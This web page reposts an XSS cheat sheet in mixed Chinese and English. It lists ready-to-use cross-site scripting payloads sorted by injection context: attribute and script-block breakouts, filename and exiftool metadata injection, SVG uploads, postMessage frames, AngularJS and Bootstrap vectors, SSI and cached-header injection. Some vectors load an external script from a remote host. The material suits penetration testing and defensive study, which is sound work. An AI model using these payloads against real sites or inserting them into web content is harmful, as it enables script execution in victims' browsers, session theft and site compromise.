XSS Cheat Sheet

BASICS

  • HTML注入

    当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用。如果输入在HTML注释中,则在payload前加上“-->”
<svg onload=alert(1)>
"><svg onload=alert(1)>
  • HTML注入-标签块突破

​ 当输入落在以下标签的内部或打开/关闭之间时使用:

<title><style><script><textarea><noscript><pre><xmp><iframe>

</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>
  • HTML注入-内联

​ 当输入落在HTML标记的属性值内,但该标记不能以大于号(>)结束时使用

"onmouseover=alert(1) //
"autofocus onfocus=alert(1) //
  • HTML注入-源文件

​ 当输入作为下列HTML标记属性的值:href、src、data或action(也包括formaction)时使用。脚本标记中的Src属性可以是URL或“data:,alert(1)”。

javascript:alert(1)
  • Javascript注入

    当输入位于脚本块中,在字符串分隔的值内时使用

'-alert(1)-'
'/alert(1)//
  • Javascript Injection - Escape Bypass

    当输入位于脚本块中,在字符串分隔值内,但引号用反斜杠转义时使用。

\'/alert(1)//
  • Javascript Injection – Script Breakout
</script><svg onload=alert(1)>

ADVANCED

  • Javascript Injection - Logical Block

当输入在脚本块中、在字符串分隔值中、在单个逻辑块(如函数或条件块)(if、else等)中着陆时,使用payload1或payload2。如果引号用反斜杠转义,请使用payload3。

'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//
  • Javascript Injection - Quoteless

​ 使用时,有多个反射在同一行JS代码

/alert(1)//\
/alert(1)}//\
  • Javascript上下文——模板文字中的占位符注入

当输入位于用反号(' ')分隔的字符串内或在模板引擎中时使用

${alert(1)}
  • 多反射HTML注入-双反射(单输入)

用于利用同一页面上的多个反射

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*
  • 多反射HTML注入-三反射(单输入)

    用于利用同一页面上的多个反射。
*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='
  • Multi Input Reflections HTML Injection - Double & Triple(多次输入)
p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>
q=<script/&q=/src=data:&q=alert(1)>
  • File Upload Injection – Filename

当上传的文件名在目标页的某个地方反映出来时使用。

"><svg onload=alert(1)>.gif
  • File Upload Injection – Metadata

Use when metadata of uploaded file is reflected somewhere in target page. It uses

command-line exiftool (“$” is the terminal prompt) and any metadata field can be set.

当上传文件的元数据在目标页面某处反映时使用。它使用命令行exiftool($是终端提示符),可以设置任何元数据字段。

$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg
  • File Upload Injection – SVG File

用于在上传图像文件时在目标上创建存储的XSS。将下面的内容保存为

“xss.svg”。

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
  • DOM Insert Injection
<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<svg><svg onload=alert(1)>
  • DOM Insert Injection – Resource Request

本机javascript代码将请求的结果插入到可由攻击者控制的URL中时使用。

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>
  • PHP Self URL Injection

当前URL被目标的底层PHP代码用作属性值时使用

例如,HTML表单。在php扩展和查询部分(?)的开始之间使用斜杠(/)注入。

https://brutelogic.com.br/xss.php/"><svg onload=alert(1)>?a=reader
  • Markdown Vector

用于文本框、注释部分等允许某些标记输入的地方。 Click to fire.

[clickme](javascript:alert1)

[clickme](javascript:alert`1`)
  • Script Injection - No Closing Tag

Use when there’s a closing script tag (</script>) somewhere in the code after reflection.

<script src=data:,alert(1)>
<script src=//brutelogic.com.br/1.js>
  • Javascript postMessage() DOM Injection (with Iframe)

Use when there’s a “message” event listener like in “window.addEventListener(‘message’, ...)”

in javascript code without a check for origin. Target must be able to be framed (X-Frame

Options header according to context). Save as HTML file (or using data:text/html) providing

TARGET_URL and INJECTION (a XSS vector or payload).

<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">
  • XML-Based XSS

Use to inject XSS vector in a XML page (content types text/xml or application/xml).

Prepend a “-->” to payload if input lands in a comment section or “]]>” if input lands in a

CDATA section.

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
  • AngularJS Injections (v1.6 and up)

Use when there’s an AngularJS library loaded in page, inside an HTML block with ng-app

directive (1 st payload) or creating your own (2 nd one).

{{$new.constructor('alert(1)')()}}
<x ng-app>{{$new.constructor('alert(1)')()}}
  • Onscroll Universal Vector Onscroll通用矢量

当使用onscroll事件处理程序时,用于XSS而不需要用户交互。

It works with

address, blockquote, body, center, dir, div, dl, dt, form, li, menu, ol, p, pre, ul, and h1 to h6

HTML tags.

<p style=overflow:auto;font-size:999px onscroll=alert(1)>AAA<x/id=y></p>#y
  • Type Juggling

    Use to pass an “if” condition matching a number in loose comparisons.

1<svg onload=alert(1)>
1"><svg onload=alert(1)>
  • XSS in SSI

    Use when there’s a Server-Side Include (SSI) injection.
<<!--%23set var="x" value="svg onload=alert(1)"--><!--%23echo var="x"-->>
  • SQLi Error-Based XSS

用于可以触发SQL错误消息的端点(使用引号或反斜杠)。

'1<svg onload=alert(1)>
<svg onload=alert(1)>\
  • Injection in JSP Path

Use in JSP-based applications in the path of URL.

//DOMAIN/PATH/;<svg onload=alert(1)>
//DOMAIN/PATH/;"><svg onload=alert(1)>
  • JS Injection - ReferenceError Fix

用于修正一些挂起的javascript代码的语法。检查控制台标签在浏览器

开发工具(F12)为各自的ReferenceError和替换相应的var和函数名。

(Use to fix the syntax of some hanging javascript code. Check console tab in Browser

Developer Tools (F12) for the respective ReferenceError and replace var and function

names accordingly.)

';alert(1);var myObj='
';alert(1);function myFunc(){}'
  • Bootstrap Vector (up to v3.4.0)

Use when there’s a bootstrap library present on page. It also bypass Webkit Auditor, just

click anywhere in page to trigger. Any char of href value can be HTML encoded do bypass

filters.

<html data-toggle=tab href="<img src=x onerror=alert(1)>">
  • Browser Notification

用作提示、提示和确认弹出窗口的另一种选择。它需要用户接受(第1个有效载荷),但是一旦用户之前为该站点进行了授权,就可以使用第2个有效载荷。

Notification.requestPermission(x=>{new(Notification)(1)})
new(Notification)(1)
  • XSS in HTTP Header - Cached

Use to store a XSS vector in application by using the MISS-MISS-HIT cache scheme (if

there’s one in place). Replace with your respective vector and TARGET with a dummy

string to avoid the actual cached version of the page. Fire the same request 3 times.

$ curl -H "Vulnerable_Header: <XSS>" TARGET/?dummy_string

XSS Cheat Sheet(basics and advanced)的更多相关文章

  1. XSS Cheat Sheet

    Basic and advanced exploits for XSS proofs and attacks. Work in progress, bookmark it. Technique Vec ...

  2. XSS Filter Evasion Cheat Sheet 中文版

    前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...

  3. XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)

    本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...

  4. Racket Cheat Sheet

    Racket Cheat Sheet 来源  http://docs.racket-lang.org/racket-cheat/index.html?q=Racket%20Cheat%20Sheet ...

  5. 转:PostgreSQL Cheat Sheet

    PostgreSQL Cheat Sheet CREATE DATABASE CREATE DATABASE dbName; CREATE TABLE (with auto numbering int ...

  6. Git Cheat Sheet

    Merge Undo git merge with conflicts $ git merge --abort Archive $ git archive --format zip --output ...

  7. CSS3 Animation Cheat Sheet:实用的 CSS3 动画库

    CSS3 Animation Cheat Sheet 是一组预设的动画库,为您的 Web 项目添加各种很炫的动画.所有你需要做的是添加样式表到你的网站,为你想要添加动画效果的元素应用预制的 CSS 类 ...

  8. IOS Application Security Testing Cheat Sheet

    IOS Application Security Testing Cheat Sheet    [hide]  1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...

  9. HTML5 Cheat sheet PNG帮助手册(标签、事件、兼容)

    HTML5 Cheat sheet PNG帮助手册(标签.事件.兼容) 1.HTML5标签 2.HTML5事件 3.HTML5兼容 最新HTML5手册资料请参考:http://www.inmotion ...

随机推荐

  1. 【tensorflow2.0】处理结构化数据-titanic生存预测

    1.准备数据 import numpy as np import pandas as pd import matplotlib.pyplot as plt import tensorflow as t ...

  2. std::bind接口与实现

    前言 最近想起半年前鸽下来的Haskell,重温了一下忘得精光的语法,读了几个示例程序,挺带感的,于是函数式编程的草就种得更深了.又去Google了一下C++与FP,找到了一份近乎完美的讲义,然后被带 ...

  3. 总结一下python的学习路线

    1.安装pycharm community编辑器和python 3.7.2解释器的博客链接参考:https://blog.csdn.net/fangye945a/article/details/878 ...

  4. PTA数据结构与算法题目集(中文) 7-15

    PTA数据结构与算法题目集(中文)  7-15 7-15 QQ帐户的申请与登陆 (25 分)   实现QQ新帐户申请和老帐户登陆的简化版功能.最大挑战是:据说现在的QQ号码已经有10位数了. 输入格式 ...

  5. AbstractQueuedSynchronizer概述

    AbstractQueuedSynchronizer 是一个用于在竞争资源(如多线程)时使用的同步器,它内部使用了一个int类型的字段status表示需要同步的资源状态, 并基于一个先进先出(FIFO ...

  6. Java Object类学习总结

    这篇博文发出来总有点问题,转为图片了,谢谢看官支持.

  7. Python Requests-学习笔记(2)

    你也许经常想为URL的查询字符串(query string)传递某种数据.如果你是手工构建URL, 那么数据会以键/值 对的形式置于URL中,跟在一个问号的后面.例如,httpbin.org/get? ...

  8. PHP 语法引用使用及实现

    说明 这里基于 php7.2.5 进行测试,php7 之后内部结构变化应该不是太大,但与 php5.X 有差别. 什么是引用 在 PHP 中引用是一种数据类型 (结构),是指 指向同一个类型的数据结构 ...

  9. 条件变量 condition_variable wait

    wait(阻塞当前线程,直到条件变量被唤醒) #include <iostream> #include <string> #include <thread> #in ...

  10. 练习,自定义TextView(1.1)

    重新自定义TextView是非常有趣的事情,跟着Android4高级编程,通过自定义TextView,来敲一下代码: 这个是那么的简单,自定义TextView,新建CustomTextView继承Te ...